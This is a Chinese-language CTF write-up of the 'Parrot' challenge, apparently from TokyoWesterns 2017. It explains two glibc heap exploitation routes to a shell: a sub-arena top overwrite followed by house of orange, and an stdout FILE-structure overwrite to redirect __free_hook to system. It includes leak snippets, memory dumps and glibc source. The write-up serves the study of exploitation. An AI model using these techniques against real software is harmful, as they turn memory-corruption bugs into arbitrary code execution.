Tags: house-of-orange,sub_arena,io_file
前言
这题有两种做法.
一种很麻烦但是用到了sub arena 的知识, 第一次遇到, 所以自己复现了一遍学习以下.
另一种方法时通过修改 io file 结构体实现任意地址写的目的. 这种方式虽然比较常见, 但是用这种方法解这题就非常简单.
之前只是做过通过修改 io file 结构体任意地址读写的题, 对内部原理还是不太了解. 通过这个题也看了下 fread 和 fwrite 的源码, 对修改 io file 结构体进行任意地址读写的原理和构造限制也算有所了解, 不过这应该是另外一篇博客的内容了 :P
程序分析
非经典菜单题, 程序逻辑很简单, 就一个main函数如下:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
size_t size; // [rsp+8h] [rbp-18h]
void *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
sleep(3u);
while ( 1 )
{
puts("Size:");
_isoc99_scanf("%lu", &size);
getchar();
if ( !size )
break;
buf = malloc(size);
puts("Buffer:");
read(0, buf, size);
*((_BYTE *)buf + size - 1) = 0; //vuln
write(1, buf, size);
free(buf);
}
exit(0);
}
漏洞有两个:
- 读取的输入没有用 \x00 截断, 可以用来 leak
- malloc的返回值没有校验, 所以可以可以任意地址写一个字节的 \x00
利用方式1. house of orange
leak
利用第一个漏洞结合 malloc_consolidte
会把不和 av→top
相邻的chunk都放到 unsorted_bin
里面的特性可以泄露 libc 地址
add(io, 0x68, 'aaa\n')
add(io, 0x78, 'aaa\n')
add(io, 0x400, '\n')
libc_addr = u64(rv(io, 6)+"\x00\x00")
利用第一个漏洞还可以泄露堆地址.
看 __libc_malloc
源码
void * __libc_malloc (size_t bytes)
{
mstate ar_ptr;
void *victim;
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
/* Retry with another arena only if we were able to find a usable arena
before. */
if (!victim && ar_ptr != NULL) {
LIBC_PROBE (memory_malloc_retry, 1, bytes);
ar_ptr = arena_get_retry (ar_ptr, bytes); // sub arena
victim = _int_malloc (ar_ptr, bytes);
}
if (ar_ptr != NULL)
(void) mutex_unlock (&ar_ptr->mutex);
return victim;
}
可以看到当 _int_malloc
失败之后, ptmalloc 会调用 arena_get_retry
生成一个新的 arena
并尝试使用新的 arena
再次调用_int_malloc
, 通过跟踪调用链:
arena_get_retry
→arena_get2
→ _int_new_arena
并查看 _int_new_arena
源码:
static mstate _int_new_arena (size_t size)
{
mstate a;
heap_info *h;
char *ptr;
// mmap 一块内存
h = new_heap (size + (sizeof (*h) + sizeof (*a) + MALLOC_ALIGNMENT),
mp_.top_pad);
// 这块内存的头部就是新的 arena
a = h->ar_ptr = (mstate) (h + 1);
malloc_init_state (a);
a->attached_threads = 1;
a->system_mem = a->max_system_mem = h->size;
arena_mem += h->size;
// arena后面就是之后chunk被分配到的地方
/* Set up the top chunk, with proper alignment. */
ptr = (char *) (a + 1);
top (a) = (mchunkptr) ptr; // chunk 和 arena 在一起
set_head (top (a), (((char *) h + h->size) - ptr) | PREV_INUSE);
// threa_arena 是个全局变量
thread_arena = a;
mutex_init (&a->mutex);
...
return a;
}
再看一下__libc_malloc
中第一次获取 arena 用的 arena_get
函数源码:
#define arena_get(ptr, size) do { \
ptr = thread_arena; \
arena_lock (ptr, size); \
} while(0)
我们就可以得知之后malloc 的chunk 都会是从新mmap的堆分配的. 新的堆中 chunks 就接在新的 arena 后面.
利用相同的方法可以泄露新的arena(sub arena)的地址, 自然也就得到了堆地址
add(io, 0x68, 'aaa\n')
add(io, 0x78, 'aaa\n')
add(io, 0x400, '\n')
addr = u64(rv(io, 8))
second_arena_addr = addr + 0x16
heap_base = addr & (~0xfff)
这样, 我们就有了堆地址和libc地址
利用
接下来就是用第二个漏洞get shell 了, 往哪儿写0是个问题.
uaf.io 的做法是写 sub_arena→top 的低2字节.
pwndbg> arena 0x7ffff0000020
add arena 0x7ffff0000020 to history
{
mutex = 0,
flags = 3,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x7ffff00008b0,
...
写完之后 sub_arena→top 就变成了 0x7ffff00000b0
, 这个时候 sub_arena→top 就指向某个 small bin, 之后就可以任意修改 small bin 了.
-
为什么不覆盖两次?
我在复现的时候就再想为什么不干脆把 sub_arena→top 的低字节也覆盖了, 然后再修改 sub_arena→top 使其指向 malloc_hook啥的, 但是发现如果想要malloc很大的size来覆盖某个字节就会走如下调用链
__libc_malloc
→_int_malloc
→sysmalloc
再
sysmalloc
中有一个校验:assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0));
第一覆盖之后sub_arena→top 已经不在相对于 pagesize 对齐了, 所以第二次尝试覆盖的时候会失败.
pwndbg> x/40xg 0x7ffff0000020
0x7ffff0000020: 0x0000000300000000 0x0000000000000000
0x7ffff0000030: 0x0000000000000000 0x0000000000000000
0x7ffff0000040: 0x0000000000000000 0x0000000000000000
0x7ffff0000050: 0x0000000000000000 0x0000000000000000
0x7ffff0000060: 0x0000000000000000 0x0000000000000000
0x7ffff0000070: 0x0000000000000000 0x00007ffff00000b0 <- unsorted bin
0x7ffff0000080: 0x0000000000000000 0x00007ffff0000078 <- 0x20
0x7ffff0000090: 0x00007ffff0000078 0x00007ffff0000088 <- 0x30
0x7ffff00000a0: 0x00007ffff0000088 0x00007ffff0000098 <- 0x40
0x7ffff00000b0: 0x00007ffff0000098 0x00007ffff00000a8 <- 0x50
0x7ffff00000c0: 0x00007ffff00000a8 0x00007ffff00000b8 <- 0x60
0x7ffff00000d0: 0x00007ffff00000b8 0x00007ffff00000c8 <- 0x70
0x7ffff00000e0: 0x00007ffff00000c8 0x00007ffff00000d8 <- 0x80
0x7ffff00000f0: 0x00007ffff00000d8 0x00007ffff00000e8 <- 0x90
0x7ffff0000100: 0x00007ffff00000e8 0x00007ffff00000f8 <- 0xa0
0x7ffff0000110: 0x00007ffff00000f8 0x00007ffff0000108 <- 0xb0
0x7ffff0000120: 0x00007ffff0000108 0x00007ffff0000118 <- 0xc0
0x7ffff0000130: 0x00007ffff0000118 0x00007ffff0000128 <- 0xd0
0x7ffff0000140: 0x00007ffff0000128 0x00007ffff0000138 <- 0xe0
0x7ffff0000150: 0x00007ffff0000138 0x00007ffff0000148 <- 0xf0
0x7ffff0000160: 0x00007ffff0000148 0x00007ffff0000158 <- 0x100
0x7ffff0000170: 0x00007ffff0000158 0x00007ffff0000168 <- 0x110
0x7ffff0000180: 0x00007ffff0000168 0x00007ffff0000178 <- 0x120
0x7ffff0000190: 0x00007ffff0000178 0x00007ffff0000188 <-
0x7ffff00001a0: 0x00007ffff0000188 0x00007ffff0000198 <-
0x7ffff00001b0: 0x00007ffff0000198 0x00007ffff00001a8 <-
0x7ffff00001c0: 0x00007ffff00001a8 0x00007ffff00001b8 <-
0x7ffff00001d0: 0x00007ffff00001b8 0x00007ffff00001c8 <-
0x7ffff00001e0: 0x00007ffff00001c8 0x00007ffff00001d8 <-
0x7ffff00001f0: 0x00007ffff00001d8 0x00007ffff00001e8 <-
0x7ffff0000200: 0x00007ffff00001e8 0x00007ffff00001f8 <-
0x7ffff0000210: 0x00007ffff00001f8 0x00007ffff0000208 <-
0x7ffff0000220: 0x00007ffff0000208 0x00007ffff0000218 <-
之后我们可以控制 0x7ffff00000c0 往后的内容了.
参考的做法是house of orange. 通过堆 small bins 的一系列操作修改 unsortedbin 指向 _IO_list_all - 0x10.
对 small bins 进行如下修改
pwndbg> x/40xg 0x7ffff0000020
0x7ffff0000020: 0x0000000300000000 0x0000000000000000
0x7ffff0000030: 0x0000000000000000 0x0000000000000000
0x7ffff0000040: 0x0000000000000000 0x0000000000000000
0x7ffff0000050: 0x0000000000000000 0x0000000000000000
0x7ffff0000060: 0x0000000000000000 0x0000000000000000
0x7ffff0000070: 0x0000000000000000 0x00007ffff00000b0 <- unsorted bin
0x7ffff0000080: 0x0000000000000000 0x00007ffff0000078 <- 0x20
0x7ffff0000090: 0x00007ffff0000078 0x00007ffff0000088 <- 0x30
0x7ffff00000a0: 0x00007ffff0000088 0x00007ffff0000098 <- 0x40
0x7ffff00000b0: 0x00007ffff0000098 0x00007ffff00000a8 <- 0x50
0x7ffff00000c0: 0x00007ffff00000a8 0x00007ffff00000e0 <- 0x60
0x7ffff00000d0: 0x00007ffff00000e0 0x00007ffff0000300 <- 0x70
0x7ffff00000e0: 0x00007ffff0000300 0x51 <- 0x80
0x7ffff00000f0: 0x00007ffff00000e0 0x00007ffff00000e0 <- 0x90
0x7ffff0000100: 0x0000 0x101 <- 0xa0
0x7ffff0000110: 0x00007ffff0000100 0x00007ffff0000100 <- 0xb0
0x7ffff0000120: 0x00007ffff0000108 0x00007ffff0000118 <- 0xc0
0x7ffff0000130: 0x00007ffff0000118 0x00007ffff0000128 <- 0xd0
0x7ffff0000140: 0x00007ffff0000128 0x00007ffff0000138 <- 0xe0
0x7ffff0000150: 0x00007ffff0000138 0x00007ffff0000148 <- 0xf0
0x7ffff0000160: 0x00007ffff0000148 0x00007ffff0000100 <- 0x100
...
0x7ffff0000300: fake_IO_file
然后先申请一个 0xf0 大小的chunk, malloc就会返回 0x7ffff0000100
(chunk1), 等free之后就会插入到unsorted_bin中, unsorted_bin→bk = 0x7ffff0000100
再申请一个 0x50 大小的chunk, malloc会返回 0x7ffff00000f0
(chunk2), 利用chunk2可以修改 chunk1 的size, fd, bk等值, 因为 chunk1 再unsorted bin 中, 所以修改其bk为 _IO_list_all-0x10 进行 unsorted_bin attack 结合 house_of_orange 方法就可以 get shell了
可以用3种覆盖方法:
先定义个变量: target = _IO_list_all-0x10
-
chunk1→size = 0x30, chunk1→bk= target; 然后malloc(0x10):
malloc会进入穷尽 unsorted bin 的循环:
将chunk1 当作victim, 因为victim的size是0x30, 和想要的0x20不一样, 所以会将其放入smallbin中, 继续循环. unsorted_bin→bk = target, target→fd(即_IO_list_all)=unsorted_bin
-
将target 当作新的 victim, 但是因为 victim→size = 0, 会报错从而进入 house_of_orange流程:
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { bck = victim->bk; if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0) || __builtin_expect (victim->size > av->system_mem, 0)) malloc_printerr (check_action, "malloc(): memory corruption", chunk2mem (victim), av);
-
chunk1→size = 0x21, chunk1→bk= target, next_chunk(chunk1)→size = 0; 然后malloc(0x10):
malloc时没有问题, 但是free的时候会触发 invalid next size 错误
if (have_lock // # 3904 in glibc 2.23 || ({ assert (locked == 0); mutex_lock(&av->mutex); locked = 1; chunk_at_offset (p, size)->size <= 2 * SIZE_SZ || chunksize (chunk_at_offset (p, size)) >= av->system_mem; })) { errstr = "free(): invalid next size (fast)"; goto errout; }
-
chunk1→size = 0x27, chunk1→bk= target; 然后malloc(0x10):
这种情况下 free 的时候 会尝试 unmap 自然会报错
if (chunk_is_mmapped (p)) /* release mmapped memory. */ { /* see if the dynamic brk/mmap threshold needs adjusting */ if (!mp_.no_dyn_threshold && p->size > mp_.mmap_threshold && p->size <= DEFAULT_MMAP_THRESHOLD_MAX) { mp_.mmap_threshold = chunksize (p); mp_.trim_threshold = 2 * mp_.mmap_threshold; LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, mp_.mmap_threshold, mp_.trim_threshold); } munmap_chunk (p); return; }
house of orange
具体操作参考有关 house_of_orange 的博客吧, 不再赘述
_IO_list_all → unsorted_bin
把 unsorted_bin 当作 IO_file的话, 0x60 对应的 small bin 正好时 io_file→chain, 所以让其指向 heap_base + 0x300, 在那个地方再伪造一个 io_file 结构体即可
这个点卡了挺久了, 主要还是对house_of_orange 利用方式不太了解.
不过 2.23 之后 house_of_orange 都用不了, 可惜啊
利用方式2: 修改 io file 结构体
泄露地址的方式和之前一样, 不过这儿只用泄露libc 地址就可以了.
然后利用任意地址写0将 stdout→_IO_buf_base 的低字节覆盖为 \x00, 然后 stdout→_IO_buf_base 就会指向 stdout 结构体里面, 之后就可以覆盖 stdout 结构体里面的很多指针. 再次修改 _IO_buf_base 和 _IO_buf_ptr 使其指向 free_hook 就可以修改 free hook 为 system.
通过修改 io file 结构体进行任意地址写的操作可以参考 另一篇博客 或者 angelboy 的 slide
参考
house of orange 做法 : https://uaf.io/exploitation/2017/09/03/TokyoWesterns-2017-Parrot.html
修改 io file 结构体做法 : http://brieflyx.me/2017/ctf-writeups/twctf3-2017-parrot/